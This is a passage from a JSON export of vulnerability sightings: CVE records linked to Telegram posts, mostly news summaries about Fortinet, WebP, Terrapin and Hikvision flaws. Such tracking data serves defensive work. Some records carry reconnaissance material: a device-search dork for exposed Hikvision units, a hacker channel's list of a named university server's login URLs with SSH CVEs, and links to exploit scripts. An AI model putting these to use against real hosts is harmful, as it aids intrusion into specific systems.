\u043f\u043e\u0441\u0442\u0440\u0430\u0434\u0430\u0432\u0448\u0438\u043c \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u0444\u0430\u0439\u043b\u044b.\n\n\u041f\u043e\u0445\u0438\u0449\u0435\u043d\u044b \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 50 000 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0432\u0435\u0431-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0439\n\u041d\u043e\u0432\u0430\u044f \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u044f \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 \u0432\u0435\u0431-\u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 JavaScript \u0434\u043b\u044f \u043a\u0440\u0430\u0436\u0438 \u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 40 \u0431\u0430\u043d\u043a\u043e\u0432 \u0432 \u0421\u0435\u0432\u0435\u0440\u043d\u043e\u0439 \u0438 \u042e\u0436\u043d\u043e\u0439 \u0410\u043c\u0435\u0440\u0438\u043a\u0435, \u0415\u0432\u0440\u043e\u043f\u0435 \u0438 \u042f\u043f\u043e\u043d\u0438\u0438.\n\n\u0410\u0442\u0430\u043a\u0430 Terrapin \u0441\u043d\u0438\u0436\u0430\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 SSH\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2023-48795) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043d\u0438\u0437\u0438\u0442\u044c \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u0443\u0442\u0435\u043c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u043e \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f.", "creation_timestamp": "2023-12-22T09:43:04.000000Z"}, {"uuid": "7d47ff5c-584d-48f9-bb83-2125566b25a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48121", "type": "seen", "source": "https://t.me/tengkorakcybercrewz/2058", "content": "CVE-2023-48121: Auth Bypass in Hikvision, 8.2 rating \u2757\ufe0f\n\nSome Hikvision products have been affected by an authentication bypass vulnerability in the Hik-Connect Module, which could allow remote attackers to consume services by sending crafted messages to the affected devices.\n\nSearch at Netlas.io:\n\ud83d\udc49\ud83c\udffb Link: https://nt.ls/hbCPs\n\ud83d\udc49\ud83c\udffb Dork: http.favicon.hash_sha256:7d249b2fca8ab8d5ab373444732b8bc9104ab597976640f3441ddfd70148b527\n\nVendor's advisory: https://www.hikvision.com/hk/support/cybersecurity/security-advisory/security-vulnerability-in-some-hikvision-products/\n\nJoin us:\n\nJoin us\ud83d\udc79\ud83d\udc79:-https://t.me/suboxo\ud83d\udc7a\ud83d\udc7a", "creation_timestamp": "2024-06-03T23:11:53.000000Z"}, {"uuid": "44323d9c-6523-41d9-9fdc-f77b31c802ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/1086", "content": "The Hacker News\nHackers Exploit Fortinet Flaw, Deploy ScreenConnect, Metasploit in New Campaign\n\nCybersecurity researchers have discovered a new campaign that's exploiting a recently disclosed security flaw in Fortinet FortiClient EMS devices to deliver ScreenConnect and Metasploit Powerfun payloads.\nThe activity entails the exploitation of CVE-2023-48788 (CVSS score: 9.3), a critical SQL injection flaw that could permit an unauthenticated attacker to execute unauthorized code or", "creation_timestamp": "2024-04-17T15:35:57.000000Z"}, {"uuid": "b6dc40a0-8e53-4529-8b76-693051224efa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/tengkorakcybercrewz/816", "content": "The Hacker News\nCISA Alerts on Active Exploitation of Flaws in Fortinet, Ivanti, and Nice Products\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday placed three security flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\nThe vulnerabilities added are as follows -\n\nCVE-2023-48788 (CVSS score: 9.3) - Fortinet FortiClient EMS SQL Injection Vulnerability\nCVE-2021-44529 (CVSS score: 9.8) - Ivanti", "creation_timestamp": "2024-03-26T07:20:51.000000Z"}, {"uuid": "507539f4-fd14-413a-8c3f-11ec27fd95dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4805", "type": "seen", "source": "https://t.me/cibsecurity/72344", "content": "\u203c CVE-2023-4805 \u203c\n\nThe Tutor LMS WordPress plugin before 2.3.0 does not sanitise and escape some of its settings, which could allow users such as subscriber to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup)\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T00:32:11.000000Z"}, {"uuid": "0258c93e-91e5-4491-bf67-50a5eaa3305f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/KomunitiSiber/1798", "content": "Hackers Exploit Fortinet Flaw, Deploy ScreenConnect, Metasploit in New Campaign\nhttps://thehackernews.com/2024/04/hackers-exploit-fortinet-flaw-deploy.html\n\nCybersecurity researchers have discovered a new campaign that's exploiting a recently disclosed security flaw in Fortinet FortiClient EMS devices to deliver ScreenConnect and Metasploit Powerfun payloads.\nThe activity entails the exploitation of\u00a0CVE-2023-48788\u00a0(CVSS score: 9.3), a critical SQL injection flaw that could permit an unauthenticated attacker to execute unauthorized code or", "creation_timestamp": "2024-04-17T14:29:08.000000Z"}, {"uuid": "3d12d655-6c8b-46dd-8868-93b654c1feb8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "exploited", "source": "https://t.me/KomunitiSiber/1688", "content": "CISA Alerts on Active Exploitation of Flaws in Fortinet, Ivanti, and Nice Products\nhttps://thehackernews.com/2024/03/cisa-alerts-on-active-exploitation-of.html\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Monday\u00a0placed\u00a0three security flaws to its Known Exploited Vulnerabilities (KEV) catalog, citing evidence of active exploitation.\nThe vulnerabilities added are as follows -\n\nCVE-2023-48788\u00a0(CVSS score: 9.3) - Fortinet FortiClient EMS SQL Injection Vulnerability\nCVE-2021-44529\u00a0(CVSS score: 9.8) - Ivanti", "creation_timestamp": "2024-03-26T07:46:39.000000Z"}, {"uuid": "db70f0d3-672c-4677-87cb-38329f5c34a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/KomunitiSiber/1284", "content": "New Terrapin Flaw Could Let Attackers Downgrade SSH Protocol Security\nhttps://thehackernews.com/2024/01/new-terrapin-flaw-could-let-attackers.html\n\nSecurity researchers from Ruhr University Bochum have discovered a vulnerability in the Secure Shell (SSH) cryptographic network protocol that could allow an attacker to downgrade the connection's security by breaking the integrity of the secure channel.\nCalled\u00a0Terrapin\u00a0(CVE-2023-48795, CVSS score: 5.9), the exploit has been described as the \"first ever practically exploitable prefix", "creation_timestamp": "2024-01-01T10:42:33.000000Z"}, {"uuid": "3a6e7670-a398-44b2-a52b-be98654e69ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/KomunitiSiber/779", "content": "Mozilla Rushes to Patch WebP Critical Zero-Day Exploit in Firefox and Thunderbird\nhttps://thehackernews.com/2023/09/mozilla-rushes-to-patch-webp-critical.html\n\nMozilla on Tuesday released security updates to resolve a critical zero-day vulnerability in Firefox and Thunderbird that has been actively exploited in the wild, a day after Google released a fix for the issue in its Chrome browser.\nThe shortcoming, assigned the identifier\u00a0CVE-2023-4863, is a heap buffer overflow flaw in the WebP image format that could result in arbitrary code execution when", "creation_timestamp": "2023-09-13T04:52:58.000000Z"}, {"uuid": "52ca9f32-83ca-4861-8815-12cc574e8af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "https://t.me/KomunitiSiber/773", "content": "Google Rushes to Patch Critical Chrome Vulnerability Exploited in the Wild - Update Now\nhttps://thehackernews.com/2023/09/google-rushes-to-patch-critical-chrome.html\n\nGoogle on Monday rolled out out-of-band security patches to address a critical security flaw in its Chrome web browser that it said has been exploited in the wild.\nTracked as\u00a0CVE-2023-4863, the issue has been described as a case of\u00a0heap buffer overflow\u00a0that resides in the\u00a0WebP image format\u00a0that could result in arbitrary code execution or a crash.\nApple Security Engineering and Architecture (SEAR", "creation_timestamp": "2023-09-12T08:09:15.000000Z"}, {"uuid": "2e872a5e-dcb0-4bbe-bd7d-4a1b20ecccb6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48292", "type": "published-proof-of-concept", "source": "Telegram/w1bL0ZfQbZjC6kNLjY6qJg4sGK5mjn3UxkyFp-Fo5l10hpw", "content": "", "creation_timestamp": "2025-03-24T04:00:05.000000Z"}, {"uuid": "2f8f917a-1b17-4c51-803f-10e3fd859eea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48418", "type": "seen", "source": "https://t.me/cibsecurity/74216", "content": "\u203c\ufe0fCVE-2023-48418\u203c\ufe0f\n\n\u00a0In checkDebuggingDisallowed of DeviceVersionFragment.java, there is a \u00a0 \u00a0 possible way to access adb before SUW completion due to an insecure default \u00a0 \u00a0 value. This could lead to local escalation of privilege with no additional \u00a0 \u00a0 execution privileges needed. User interaction is not needed for \u00a0 \u00a0 exploitation \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:38:32.000000Z"}, {"uuid": "4a0bae60-4eed-438b-b008-1c8251e0302d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "exploited", "source": "Telegram/3loOGdcpgsY43bX_7d38bdWfXHV04oeArevAp-eZJ9ZmriA", "content": "", "creation_timestamp": "2023-09-12T13:03:57.000000Z"}, {"uuid": "fe1847a1-5ae4-4152-a186-15b69d7184bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/4508", "content": "https://redhat-satellite.si.uvsq.fr/users/login\n\nhttps://193.51.33.54/users/login\n\nCVE-2008-3844, CVE-2020-14145, CVE-2023-48795, CVE-2007-2768, CVE-2021-36368, CVE-2021-41617, CVE-2019-16905, CVE-2023-51385, CVE-2016-20012, CVE-2023-51767, CVE-2020-15778, CVE-2023-38408", "creation_timestamp": "2024-08-25T08:59:44.000000Z"}, {"uuid": "9a040fc0-7239-4c2b-974e-d5eb6f98ac8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48842", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3640", "content": "https://github.com/creacitysec/CVE-2023-48842/blob/main/exploit.py\n#github", "creation_timestamp": "2023-12-04T11:17:27.000000Z"}, {"uuid": "65898e3a-4eb2-4ead-9bc5-1142f1b5eb2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48864", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3810", "content": "https://github.com/f3lze3/CVE-2023-48864\n\nSemcms v4.8 web_inc.php SQL Injection\n\n#github", "creation_timestamp": "2024-01-04T12:26:29.000000Z"}, {"uuid": "e26a8854-24b1-4348-9ff9-d79fc705a2d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/anonymous_syria_team/272", "content": "\u062a\u062d\u062f\u064a\u062b \u0623\u0645\u0646\u064a \u0639\u0627\u062c\u0644 \u0644\u0640 \u0645\u062a\u0635\u0641\u062d Google Chrome \u0628\u0633\u0628\u0628 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0644\u062b\u063a\u0631\u0629 zero-day \u064a\u0634\u0627\u0631 \u0644\u0647\u0627 \u0628\u0627\u0644\u0631\u0645\u0632 CVE-2023-4863\u060c \u0648\u0647\u064a \u0639\u0628\u0627\u0631\u0629 \u0639\u0646 \u062b\u063a\u0631\u0629 \u062d\u0631\u062c\u0629 \u0641\u064a \u062a\u062c\u0627\u0648\u0632 \u062a\u062e\u0632\u064a\u0646 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 (Buffer Overflow) \u0641\u064a \u062a\u0646\u0633\u064a\u0642 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0635\u0648\u0631 \u0627\u0644\u0646\u0642\u0637\u064a\u0629 WebP\u060c \u0648\u0647\u0648 \u062a\u0646\u0633\u064a\u0642 \u064a\u062d\u0644 \u0645\u062d\u0644 \u062a\u0646\u0633\u064a\u0642\u0627\u062a \u0645\u0644\u0641\u0627\u062a JPEG \u0648PNG \u0648GIF.", "creation_timestamp": "2023-09-13T12:06:17.000000Z"}, {"uuid": "05b811d9-bd63-4bd7-aa70-85bee0eceb2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48419", "type": "seen", "source": "https://t.me/cibsecurity/74189", "content": "\u203c\ufe0fCVE-2023-48419\u203c\ufe0f\n\nAn attacker in the wifi vicinity of a target Google Home can spy on the victim, resulting in Elevation of Privilege\u00a0 \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:36:19.000000Z"}, {"uuid": "00f99afb-f0e8-4983-8d29-99ad3d61df75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48732", "type": "seen", "source": "https://t.me/cibsecurity/74177", "content": "\u203c\ufe0fCVE-2023-48732\u203c\ufe0f\n\nMattermost fails to scope the WebSocket response around notified users\u00a0to a each user separately resulting in the\u00a0WebSocket broadcasting the information about who was notified about a post to everyone else in the channel.  \n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:35:20.000000Z"}, {"uuid": "791ca413-e13a-4fc4-a385-944b46a920a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48360", "type": "seen", "source": "https://t.me/cibsecurity/74173", "content": "\u203c\ufe0fCVE-2023-48360\u203c\ufe0f\n\n in OpenHarmony v3.2.2 and prior versions allow a local attacker cause multimedia player crash through modify a released pointer.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2024-01-03T01:34:59.000000Z"}, {"uuid": "a94f0911-8ba1-4838-9425-f3688a2ba28a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48864", "type": "published-proof-of-concept", "source": "Telegram/wbm3kE8HmRcKvIN4_C3c2DVRC7_c1RfC2Py3EAkUKi8G2w", "content": "", "creation_timestamp": "2024-01-08T10:08:52.000000Z"}, {"uuid": "972b1a72-4e42-4c30-812d-2f550722539c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/JerusalemElectronicArmy/633", "content": "#\u0623\u062e\u0628\u0627\u0631_\u0627\u0644\u0633\u0627\u064a\u0628\u0631\n\u062a\u062d\u062f\u064a\u062b \u0623\u0645\u0646\u064a \u0639\u0627\u062c\u0644 \u0644\u0645\u062a\u0635\u0641\u062d  Google Chrome \u064a\u0648\u0645 \u0627\u0644\u0623\u0631\u0628\u0639\u0627\u0621 \u064a\u0647\u062f\u0641 \u0627\u0644\u062a\u062d\u062f\u064a\u062b  \u0644\u0625\u0635\u0644\u0627\u062d\u0627\u062a \u0644\u0645\u0639\u0627\u0644\u062c\u0629 \u062b\u063a\u0631\u0627\u062a \u062e\u0637\u064a\u0631\u0629  \u062a\u0645 \u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0628\u0634\u0643\u0644 \u0646\u0634\u0637 \u0641\u064a \u0627\u0644\u0645\u062a\u0635\u0641\u062d.\n\u062a\u0645 \u0623\u0636\u0627\u0641\u0629 \u0631\u0642\u0645 \u062a\u062a\u0628\u0639 \u0644\u0644\u062b\u063a\u0631\u0629 : \"CVE-2023-5217-heap-based buffer overflow\" \n\u0627\u0631\u062a\u0641\u0639 \u0639\u062f\u062f \u0627\u0644\u062b\u063a\u0631\u0627\u062a \u0627\u0644\u062a\u064a \u062a\u0645 \u0627\u0643\u062a\u0634\u0627\u0641\u0647\u0627 \u0648\u0627\u0633\u062a\u063a\u0644\u0627\u0644\u0647\u0627 \u0641\u064a \u0645\u062a\u0635\u0641\u062d \u062c\u0648\u062c\u0644 \u0643\u0631\u0648\u0645 \u0625\u0644\u0649 5 \u062b\u063a\u0631\u0627\u062a \u0647\u0630\u0627 \u0627\u0644\u0639\u0627\u0645. \nCVE-2023-2033 (CVSS score: 8.8) - Type confusion in V8\nCVE-2023-2136 (CVSS score: 9.6) - Integer overflow in Skia\nCVE-2023-3079 (CVSS score: 8.8) - Type confusion in V8\nCVE-2023-4863 (CVSS score: 8.8) - Heap buffer overflow in WebP\n\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644: \u0623\u0646\u0642\u0631 \u0647\u0646\u0627 \n#\u062c\u064a\u0634_\u0627\u0644\u0642\u062f\u0633_\u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a", "creation_timestamp": "2023-09-28T11:50:41.000000Z"}, {"uuid": "2f4a89ce-2ee1-403b-bdf0-4b297002a32a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "https://t.me/JerusalemElectronicArmy/605", "content": "#\u0623\u062e\u0628\u0627\u0631_\u0627\u0644\u0633\u0627\u064a\u0628\u0631\n\n\u062a\u062d\u062f\u064a\u062b \u0623\u0645\u0646\u064a \u0639\u0627\u062c\u0644 \u0644\u0640 \u0645\u062a\u0635\u0641\u062d Google Chrome \u0628\u0633\u0628\u0628 \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0645\u0647\u0627\u062c\u0645\u064a\u0646 \u0644\u062b\u063a\u0631\u0629 zero-day \u064a\u0634\u0627\u0631 \u0644\u0647\u0627 \u0628\u0627\u0644\u0631\u0645\u0632 CVE-2023-4863\u060c \u0648\u0647\u064a \u0639\u0628\u0627\u0631\u0629 \u0639\u0646 \u062b\u063a\u0631\u0629 \u062d\u0631\u062c\u0629 \u0641\u064a \u062a\u062c\u0627\u0648\u0632 \u062a\u062e\u0632\u064a\u0646 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0641\u064a \u0627\u0644\u0630\u0627\u0643\u0631\u0629 (Buffer Overflow) \u0641\u064a \u062a\u0646\u0633\u064a\u0642 \u0645\u0644\u0641\u0627\u062a \u0627\u0644\u0635\u0648\u0631 \u0627\u0644\u0646\u0642\u0637\u064a\u0629 WebP\u060c \u0648\u0647\u0648 \u062a\u0646\u0633\u064a\u0642 \u064a\u062d\u0644 \u0645\u062d\u0644 \u062a\u0646\u0633\u064a\u0642\u0627\u062a \u0645\u0644\u0641\u0627\u062a JPEG \u0648PNG \u0648GIF.\n#\u062c\u064a\u0634_\u0627\u0644\u0642\u062f\u0633_\u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a", "creation_timestamp": "2023-09-13T11:26:15.000000Z"}, {"uuid": "0ffe6c69-e594-4cc7-a732-39f409aacb02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "Telegram/w0w9iKcyXi70OnNrtP96yLy6sw-7f3qLcDmBnN0l3DtxqHg", "content": "", "creation_timestamp": "2024-07-01T14:33:02.000000Z"}, {"uuid": "fab71cd3-b968-4c4a-b9c7-87a136d907a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "Telegram/xGsLy8z3fANiCroIRCfALnNfiha1hqkEaeyvq7MCrScixms", "content": "", "creation_timestamp": "2024-07-01T14:34:42.000000Z"}, {"uuid": "95334976-6386-42ab-8f3e-e25b00d3974f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "published-proof-of-concept", "source": "Telegram/9oLnCvL8Tq2XNT-mEnvvp0lfwtvPeNeqjPO-qE7TAu5Ljrw", "content": "", "creation_timestamp": "2024-05-14T10:48:05.000000Z"}, {"uuid": "e6ffba01-b104-45af-a983-b3ca799cbb19", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "seen", "source": "Telegram/wjPvnfDEUx5VfM3cNyjErOTHjq1yWUplkPAG69wV96DPlYs", "content": "", "creation_timestamp": "2023-10-13T22:36:44.000000Z"}, {"uuid": "759c524a-95d1-4f26-8606-5ad6d4624784", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4893", "type": "seen", "source": "Telegram/xAQCdypZHYTm93JW2ihwOMgKSX0lLwD619YnFEqU7dy5QUQ", "content": "", "creation_timestamp": "2023-10-13T22:35:58.000000Z"}, {"uuid": "8ca7b8ea-6361-425f-bf95-d17d81e89315", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4863", "type": "published-proof-of-concept", "source": "Telegram/Rkp_P6eJRCMXlTBg131z5iRlkcaL_CTEO9of0RSUksqlugo", "content": "", "creation_timestamp": "2023-09-30T05:45:27.000000Z"}, {"uuid": "b61111fb-60ec-4fa1-bb1a-0cfa2022c34b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48795", "type": "seen", "source": "Telegram/2G0LL9YDDO0dQKSo5p4zQWAL-pbipATIxiBPSKqKsYKP6RG0", "content": "", "creation_timestamp": "2024-07-01T14:30:24.000000Z"}, {"uuid": "9cd880d6-fb73-4c79-ba46-6f7bcfb0e3dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48788", "type": "seen", "source": "https://t.me/true_secator/6473", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 Trend Micro \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0439 \u0431\u044d\u043a\u0434\u043e\u0440 GhostSpider, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0441\u044f Salt Typhoon (Earth Estries, GhostEmperor \u0438\u043b\u0438 UNC2286) \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0443\u0441\u043b\u0443\u0433.\n\n\u041f\u043e\u043c\u0438\u043c\u043e GhostSpider Salt Typhoon \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043d\u0430\u0431\u043e\u0440 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0434\u043b\u044f \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0445 \u0430\u0442\u0430\u043a: SNAPPYBEE (Deed RAT), SparrowDoor, CrowDoor \u0438 MASOL RAT \u0434\u043b\u044f Linux, \u0440\u0443\u0442\u043a\u0438\u0442 DEMODEX, ShadowPad, NeoReGeorg, frpc\u00a0\u0438 Cobalt Strike.\n\nSalt Typhoon - \u044d\u0442\u043e \u0441\u043b\u043e\u0436\u043d\u0430\u044f \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0430\u044f \u0433\u0440\u0443\u043f\u043f\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2019 \u0433\u043e\u0434\u0430 \u0438 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0437\u043b\u043e\u043c\u0435 \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439 \u0438 \u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0439, \u0441\u0440\u0435\u0434\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 \u0436\u0435\u0440\u0442\u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 Verizon, AT&T, Lumen Technologies \u0438\u00a0T-Mobile.\n\n\u0411\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u043c \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c 